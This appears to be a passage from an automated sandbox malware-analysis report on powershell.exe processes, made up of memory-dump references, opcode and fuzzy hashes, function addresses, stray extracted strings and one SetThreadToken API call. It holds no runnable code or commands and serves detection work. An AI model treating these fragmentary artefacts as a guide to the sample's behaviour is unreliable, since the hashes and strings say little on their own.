Source File: 0000000A.00000002.2817683411.000000000468D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0468D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_468d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95786fd03f618bf1b04e55f75fa29fff07f09b62ad68d250f47e2e0d268fca6b
Instruction ID: f775d9f0495cd66bd8ac10724ea4d83d7b5cb1085af422fe21bfcb2d21d98645
Opcode Fuzzy Hash: 95786fd03f618bf1b04e55f75fa29fff07f09b62ad68d250f47e2e0d268fca6b
Instruction Fuzzy Hash: F4F0F975100A80AFD725CF06C985D23BBB9EB89620B19859DE84A8B352D671FC42CBB0

Function 04799158 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 305f2ef4fcdd366508e0f9c478e16f56e0b0240946dee447a4c9287513675eb5
Instruction ID: 37846381bbc8b7433388a864b4033eebbe174e3b751458cbf3fd1f8fe5faa50e
Opcode Fuzzy Hash: 305f2ef4fcdd366508e0f9c478e16f56e0b0240946dee447a4c9287513675eb5
Instruction Fuzzy Hash: 85F0307150A3408FDB619BB898AC79A7FE1EB41310F04489ED55AC7282D7396985CB51

Function 0479F3D0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d0f11c5519f018b11212de53a6b1906ab12a76ffc2e226e3bfb1c8ede0fdfc7
Instruction ID: 56100428047ba0af5e19f00254e90edb8a6d29cfd1153bcb90b654bbb376bf25
Opcode Fuzzy Hash: 4d0f11c5519f018b11212de53a6b1906ab12a76ffc2e226e3bfb1c8ede0fdfc7
Instruction Fuzzy Hash: F001E471D1075ADBCB04DFE4D9446EEBBB0FF99300F20472EE015A6604EBB02696CB81

Function 04797968 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae12b4f163e2fa833ec167c4516d72e105a1fca24cf2b800e573c227b899a2d
Instruction ID: 776054c2bab4f54afe218f36f221882df512c65fe34554cbf788eac1ebc87613
Opcode Fuzzy Hash: cae12b4f163e2fa833ec167c4516d72e105a1fca24cf2b800e573c227b899a2d
Instruction Fuzzy Hash: 27F0A7327006149FDB159B5AE844A6FB7E9EB88675B00052DE109C3340DF31AC4187B5

Function 04797697 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce0f901d14b96618f42e4982891ecf184cdc8d357190aa344ffa9aedfa415293
Instruction ID: 6fdccdbd477f43db072cc46e944027f1c0fe1fe67a60c2f3a17b0ac3f8d92d3b
Opcode Fuzzy Hash: ce0f901d14b96618f42e4982891ecf184cdc8d357190aa344ffa9aedfa415293
Instruction Fuzzy Hash: 79F0A039300104CFCF04EB6CE800A9A7BE2FBC8A557054199E909DB310EF25EC028B90

Function 047990E8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa53bad8e583502d409b3225222a67988630db1f24e3c5c1453cad8a185568b3
Instruction ID: f3d3b3c20f47a61b3aa2a8d96617ccc2d4138dab7e2d1d60c05898af053d4408
Opcode Fuzzy Hash: fa53bad8e583502d409b3225222a67988630db1f24e3c5c1453cad8a185568b3
Instruction Fuzzy Hash: A7F0E2756002048BE710AB65D01879BB7E6EFC1718F10823ECE0A47385DE3A3C45CBE4

Function 0479896A Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514426eb71cdd91a62d18700b460c57c1114d17d31e757d7ac7cc2c7557d94f8
Instruction ID: bff773ced0b24550effd64775b3b3f0d49927aa6f2760e0c9b5b081fde73f978
Opcode Fuzzy Hash: 514426eb71cdd91a62d18700b460c57c1114d17d31e757d7ac7cc2c7557d94f8
Instruction Fuzzy Hash: 65F0A07571A3908BCF0A2774B42C2AD3FA1EFC6325F05019ED6068B283CF681C4687A6

Function 0479DE48 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e5a8fc56ad96b947702c0b026f59a58f0bb73eb4b94707709f15bb67196e481
Instruction ID: a90c1aade32919a99057339c4c1161ad505d4630592be9d2c412130a99bc2c6c
Opcode Fuzzy Hash: 7e5a8fc56ad96b947702c0b026f59a58f0bb73eb4b94707709f15bb67196e481
Instruction Fuzzy Hash: D5E01A393101118F87109F2EE498C66B7FAEFDE76571901A9E549CB331DA61EC01CB94

Function 0479AF88 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 004d019aa5cf11c1ed85032382e522b0650be814966198d91a5dd1f299d1acf2
Instruction ID: 36d650c49a1789c9eaf61cf45f5aeeda757e697955f605fd3b7ffe86d99d278d
Opcode Fuzzy Hash: 004d019aa5cf11c1ed85032382e522b0650be814966198d91a5dd1f299d1acf2
Instruction Fuzzy Hash: A7E0DF723093D10B8F1A953DAC684A6BFABDBC322430981FAE044CB746EC11AD0683A0

Function 04799549 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eef0cce16172eb860b112ba01d4264e120c1e710600ce93528b62207df2b05a3
Instruction ID: cf6ac5821fa0440336d3acaa7019bbaeea4a3ed733ab9c27c08f973bb420b285
Opcode Fuzzy Hash: eef0cce16172eb860b112ba01d4264e120c1e710600ce93528b62207df2b05a3
Instruction Fuzzy Hash: 20E0C262721015176E9875BA6A446B7B5CE8FCB0A930600399B05C3341EC00EC0183E2

Function 04799168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afb2ce1f58a8c18e369aadf30076503212119e1be7fea5efdce2c164ca925621
Instruction ID: 5668ec831cedc0677faf5b28c703d58ce56df94a35d2aefd31de2ff407aa1be4
Opcode Fuzzy Hash: afb2ce1f58a8c18e369aadf30076503212119e1be7fea5efdce2c164ca925621
Instruction Fuzzy Hash: 85F0ED709053049BE7649FB9E89C79A7BE5FB44750F00486ED65ED7341DB3968808B90

Function 04798978 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 673c2c921d719c065f56bb68c3eb1ad1c7f8701ad2468e07c535c1c1df322514
Instruction ID: 2cc09ebc44b9513dc6ba443f676ff366aff9dbdd964fd917ddebf13920adbd63
Opcode Fuzzy Hash: 673c2c921d719c065f56bb68c3eb1ad1c7f8701ad2468e07c535c1c1df322514
Instruction Fuzzy Hash: 93E0267131535087DF083778B40C2AE7AAAEBC4724F00002ED60683343DF791C4183D9

Function 04799550 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f98046e0e8a4e94298b0a9e698cc1084f19785d1b7185e8a119148c439ef99d
Instruction ID: 034b3b341fba2e1496c7ddccbfa5904ac62623ef9c08c1ce849c2e293d8518f1
Opcode Fuzzy Hash: 4f98046e0e8a4e94298b0a9e698cc1084f19785d1b7185e8a119148c439ef99d
Instruction Fuzzy Hash: 25D0A752721125176E9870FE3A046BBE5CE8FCB4A9746003ADB09D3382EC40EC0183F2

Function 0479DCE8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 53be57f53b609c4d5f890b52fd07298120b34ca4efdde53023eb5247594bec1e
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 8FE08631B10014978B18996EE4114EDF7AADBCC220F04807BD90AA7340DA726D1586E1

Function 0479DC98 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1a7acc010758033e0faacbdef5e17b17102d074641dea0136a941fc54a282b
Instruction ID: b52f746ec6f98b35ce1a34af26402d21da81f06eac42bbb93c0f70d372020662
Opcode Fuzzy Hash: 1d1a7acc010758033e0faacbdef5e17b17102d074641dea0136a941fc54a282b
Instruction Fuzzy Hash: DBE0C231700A105B8725A62EB80485FB7DFDFC5671300442EE119C7300EE64EC4687E9

Function 04798739 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e07f9493d22d008a33fe4e15db9dbdff78dd1c685c39903d5e7144347a7a2d51
Instruction ID: a08d29fdaf02bb17261798bcfc1c132e25ad2ac380763eae34439b81844f99b2
Opcode Fuzzy Hash: e07f9493d22d008a33fe4e15db9dbdff78dd1c685c39903d5e7144347a7a2d51
Instruction Fuzzy Hash: 8BE01A31805209CBCB08BFF5E85E4A97F34EB11301F4002AEDA5282691DA302A86CBC1

Function 04798800 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03ee61a5e3b8d7cab516707fe5596bceadfa5ea80e07c0b7a84e7612ed6e95d5
Instruction ID: b856d4297fdd7f3f9e314989731721e908a0f0da06e9ae845f8ae771eb394c22
Opcode Fuzzy Hash: 03ee61a5e3b8d7cab516707fe5596bceadfa5ea80e07c0b7a84e7612ed6e95d5
Instruction Fuzzy Hash: 15E09A34A2824A8BCF04DFB4E4995AEBFF0EB46201F0042ACD84697742D6202841CB81

Function 0479F460 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d905964a6b2e679ca9dc182fc743fce424fa5fac34307a195534ae1025c59e
Instruction ID: f7902318d69e1be1e6cad2326b08ff3f900fcd9e5558cc5f0ce55ac57129b2e0
Opcode Fuzzy Hash: 34d905964a6b2e679ca9dc182fc743fce424fa5fac34307a195534ae1025c59e
Instruction Fuzzy Hash: 0BE0ED70D041499F8750DF788441959FFF1AF49200B5085AEDD08D7322E73299118BD1

Function 04797EA0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 804a52eab49603ca574f1cc6753780f1eff1f72a3314869fb372db6c98c105ae
Instruction ID: 9c333a54c54c9738cb2c9e6eedbc4614ec7188072048f3e5bd4dae5e5eef7675
Opcode Fuzzy Hash: 804a52eab49603ca574f1cc6753780f1eff1f72a3314869fb372db6c98c105ae
Instruction Fuzzy Hash: A6D05E1920E3C1CFEB0B473648680163FB61A4701038F86CBD082DF6A3C5245C0ADB26

Function 0479F470 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: ac6cd32046110ea905cdc4524374789669e5c3dac74a05d7870d39839786158d
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 49D06270D042099F8780DFADD94156DFBF4EB48200F5085AAC919D7311F7315A12CBD1

Function 04798748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a99fffbaa304d1c9995728c67f93f742a83cee44cb880d746a78cc5ad2d020f
Instruction ID: 9c0db4d932493782f9664ac51bc388aef434904367416b539221ac735cf06c94
Opcode Fuzzy Hash: 7a99fffbaa304d1c9995728c67f93f742a83cee44cb880d746a78cc5ad2d020f
Instruction Fuzzy Hash: 0ED06731905209CBCB0CABE5F85E4BDBB74FA14301F40416EDA2792291EA312A9ACAC5

Function 04798810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27299b00da438f3c7674f4dbd355f11d39834adbbe3b1dbe8a2d67a477788f74
Instruction ID: 81c305fc248ba6fb20624954a5c623f42b1dc6b94121347a4dabd067684316a1
Opcode Fuzzy Hash: 27299b00da438f3c7674f4dbd355f11d39834adbbe3b1dbe8a2d67a477788f74
Instruction Fuzzy Hash: 68D01734A1820ACF8B18EFA4E44A86EBBF4EB45300F00416DE90A93341EA306C41DFC1

Function 04797932 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06058fbe1750897fcba053957333d6768b341542f6c5739e19ce84a5ec6887fe
Instruction ID: f81688068412552e3e5bf07bc54f9854d7f429d107f5d621f1edd53005e92d2c
Opcode Fuzzy Hash: 06058fbe1750897fcba053957333d6768b341542f6c5739e19ce84a5ec6887fe
Instruction Fuzzy Hash: 9CD0A93000E3C89FC7238F38A89CC063FB85E0312030900CED886AF1B3CA228888CB16

Function 04797940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2818086682.0000000004790000.00000040.00000800.00020000.00000000.sdmp, Offset: 04790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4790000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0383552039173b67e9e7164ac11f18c43a1185d7441ade98319feb84635127d
Instruction ID: 54848792bd74c06e20a9e2554ed4d18ee37ceba0688751fd84ada9fddb76fc5d
Opcode Fuzzy Hash: e0383552039173b67e9e7164ac11f18c43a1185d7441ade98319feb84635127d
Instruction Fuzzy Hash: 16B0923004974D8FC2586F75A8488147329AB4021638004A8E81E0A2968E36E888CA45

Analysis Process: powershell.exePID: 5192, Parent PID: 1592COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 008BB490 Relevance: 4.0, Strings: 3, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hXZ, xrefs: 008BB68C
Ypr^, xrefs: 008BB557
{Ypr^, xrefs: 008BB6F0, 008BB6F5

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: hXZ${Ypr^$Ypr^
API String ID: 0-4079853756
Opcode ID: f49a6a25dbd4c3bf9b34a8436e69fa08c85b8fd72f01f3210b85d3f2943825ec
Instruction ID: 5f95f3cb4d580df26d8af11403f419779e6fb3ac4b272e13b05a0bc3234c8103
Opcode Fuzzy Hash: f49a6a25dbd4c3bf9b34a8436e69fa08c85b8fd72f01f3210b85d3f2943825ec
Instruction Fuzzy Hash: 819124B1B016555FEB59EFB488155AEBBE2EF84700B00C92DD116EB340DF745E0A8BC6

Function 081B68C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(?), ref: 081B692A

Strings

hXZ, xrefs: 081B68E2

Memory Dump Source

Source File: 0000000D.00000002.2883150211.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_81b0000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID: hXZ
API String ID: 3254676861-502801208
Opcode ID: 6a9df3c8265261f7de91914a59b1c505bfb3a180c6adc523b61d3e656866424d
Instruction ID: d34636898d77faf8b3aa9219b95b9d1b170b481cba16108d78d59aa8e8a87e80
Opcode Fuzzy Hash: 6a9df3c8265261f7de91914a59b1c505bfb3a180c6adc523b61d3e656866424d
Instruction Fuzzy Hash: 951156B5900249CFDB10CFAAC484BDEFBF8EF58320F248859D018A7210D774A944CFA4

Function 081B68C8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(?), ref: 081B692A

Strings

hXZ, xrefs: 081B68E2

Memory Dump Source

Source File: 0000000D.00000002.2883150211.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_81b0000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID: hXZ
API String ID: 3254676861-502801208
Opcode ID: dab455db4eb5be2121dca8d36f679d15397c85dba0f570ea818e544386510cea
Instruction ID: c27481685d9039c6bef9209483af560d2248a79af3c6952050c32e73fa95f544
Opcode Fuzzy Hash: dab455db4eb5be2121dca8d36f679d15397c85dba0f570ea818e544386510cea
Instruction Fuzzy Hash: D91122B59002098FDB10DF9AC884BDEFBF8EF88324F24841AD518A7210D778A944CFA4

Function 070428E8 Relevance: 3.0, Strings: 2, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#k, xrefs: 07042BA7
$k, xrefs: 07042EBF

Memory Dump Source

Source File: 0000000D.00000002.2878749313.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: #k$$k
API String ID: 0-1035595645
Opcode ID: cda695a68dcc2d8b5da94bd275da7157bf0aebf4549e6d5032619199e6a29589
Instruction ID: 0baea4bb80b3a648c0b766c61d232dedf8b2a7788768a1543579356500604566
Opcode Fuzzy Hash: cda695a68dcc2d8b5da94bd275da7157bf0aebf4549e6d5032619199e6a29589
Instruction Fuzzy Hash: B4E149F1714306CFDB658B69880177ABBE2BF86310F1482BAE945DB351DB31D841C7A2

Function 070424D8 Relevance: 2.9, Strings: 2, Instructions: 415
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|,j, xrefs: 070425DB
pij, xrefs: 07042582

Memory Dump Source

Source File: 0000000D.00000002.2878749313.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: pij$|,j
API String ID: 0-3430601267
Opcode ID: 30b6689124fa406c535e92f8a9e592d0474c2994e0c89a6dd4ad9a66d4f38a62
Instruction ID: 0eae42af4272dca02b6133a19852e4f4d8623be5acaf1cd1b03edff1ecb04fba
Opcode Fuzzy Hash: 30b6689124fa406c535e92f8a9e592d0474c2994e0c89a6dd4ad9a66d4f38a62
Instruction Fuzzy Hash: 2DD124F5B00206DFDB659B68C84076EB7E6BF89221F1482BAE905DB351DB31DC41C7A2

Function 008BBAB0 Relevance: 1.4, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hXZ, xrefs: 008BBAE5

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: hXZ
API String ID: 0-502801208
Opcode ID: 949db732a2b427b1274731fa925db0a5edd47df723e2cee21c6db3589903e573
Instruction ID: b492a6e6fc238fe66191876506c1b7c31f809477bdd382dc25e7ec1d7373a779
Opcode Fuzzy Hash: 949db732a2b427b1274731fa925db0a5edd47df723e2cee21c6db3589903e573
Instruction Fuzzy Hash: 69612470E002489FCB15CFA9D894A8DBFF1FF88310F24806AE809EB355EB749845CB51

Function 008BBAC0 Relevance: 1.4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hXZ, xrefs: 008BBAE5

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: hXZ
API String ID: 0-502801208
Opcode ID: 7a88bb4dce59691b1c893b49726366664a6cf8c8d21b47924a645735c4edf15e
Instruction ID: e51401c4d319a4899556e0560e3928cdf8e54f4404515ee06d3601b3300edf06
Opcode Fuzzy Hash: 7a88bb4dce59691b1c893b49726366664a6cf8c8d21b47924a645735c4edf15e
Instruction Fuzzy Hash: 0961F371E002499FCB14CFA9C594ADDBBF1FF88310F24816AE809AB354EB749D45CB51

Function 008BAF98 Relevance: 1.3, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hXZ, xrefs: 008BB002

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: hXZ
API String ID: 0-502801208
Opcode ID: 96095b534c25e905bf294b795b15cfbdcac5fd2f724561d68549d238ecd03dbf
Instruction ID: ca2d910c134faca9c866112a756de7f41c2c4e8c39b0b6813f4ab84c259f67a5
Opcode Fuzzy Hash: 96095b534c25e905bf294b795b15cfbdcac5fd2f724561d68549d238ecd03dbf
Instruction Fuzzy Hash: 1A21DE71A006598FCB14DFAED4407EEBBF5FB88320F24802AD518E7340CB759905CBA5

Function 008B93F0 Relevance: 1.3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hXZ, xrefs: 008B941C

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: hXZ
API String ID: 0-502801208
Opcode ID: c107a15a6d919bc32f0a40acba621ffa0c6df0a801090d00dea4f87cc0f295f5
Instruction ID: 50d2347cc1f31fc0ec6dd63d438e87f7466e401469fff5a9f80cd9ff2a373f31
Opcode Fuzzy Hash: c107a15a6d919bc32f0a40acba621ffa0c6df0a801090d00dea4f87cc0f295f5
Instruction Fuzzy Hash: E9319AB59017449EDB60CF6AD0883CAFBF2FB88324F28841AD58D97315D6746886CB65

Function 008B9400 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

hXZ, xrefs: 008B941C

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: hXZ
API String ID: 0-502801208
Opcode ID: 18b5f76f3c39de6dc6eff29ac5de81e5eb732c8b3ac91ecfd228e5ca726396e6
Instruction ID: 658c15a027b160f9393631814e593a0d8f571cb95a536b1870b8a97ea6774c14
Opcode Fuzzy Hash: 18b5f76f3c39de6dc6eff29ac5de81e5eb732c8b3ac91ecfd228e5ca726396e6
Instruction Fuzzy Hash: F52157B09017488EEB60CF6AC4883CAFBF6FB88314F28C41AD99D97355D67468858B65

Function 008BDCD9 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

+/pr^, xrefs: 008BDCBE

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: +/pr^
API String ID: 0-3301997036
Opcode ID: 853304919c4e30f12600fd132757dc1a07fca26c959e93fdee60322c1c6bed19
Instruction ID: 113286316c269435d5fe6e4a6b293f1a599b1d7714bf8d6d04bd25c89316c0d1
Opcode Fuzzy Hash: 853304919c4e30f12600fd132757dc1a07fca26c959e93fdee60322c1c6bed19
Instruction Fuzzy Hash: 4111B236700214ABCB16DB78D8149EDBBB2EFD8331B24846AD516CB351EB30DD568B91

Function 008BDC88 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

+/pr^, xrefs: 008BDCBE

Memory Dump Source

Source File: 0000000D.00000002.2849531395.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b0000_powershell.jbxd

Similarity

API ID:
String ID: +/pr^
API String ID: 0-3301997036
Opcode ID: bddf252fec593e675c409f4625406a35ffb6b2b35486714e2fc8761d0885c923
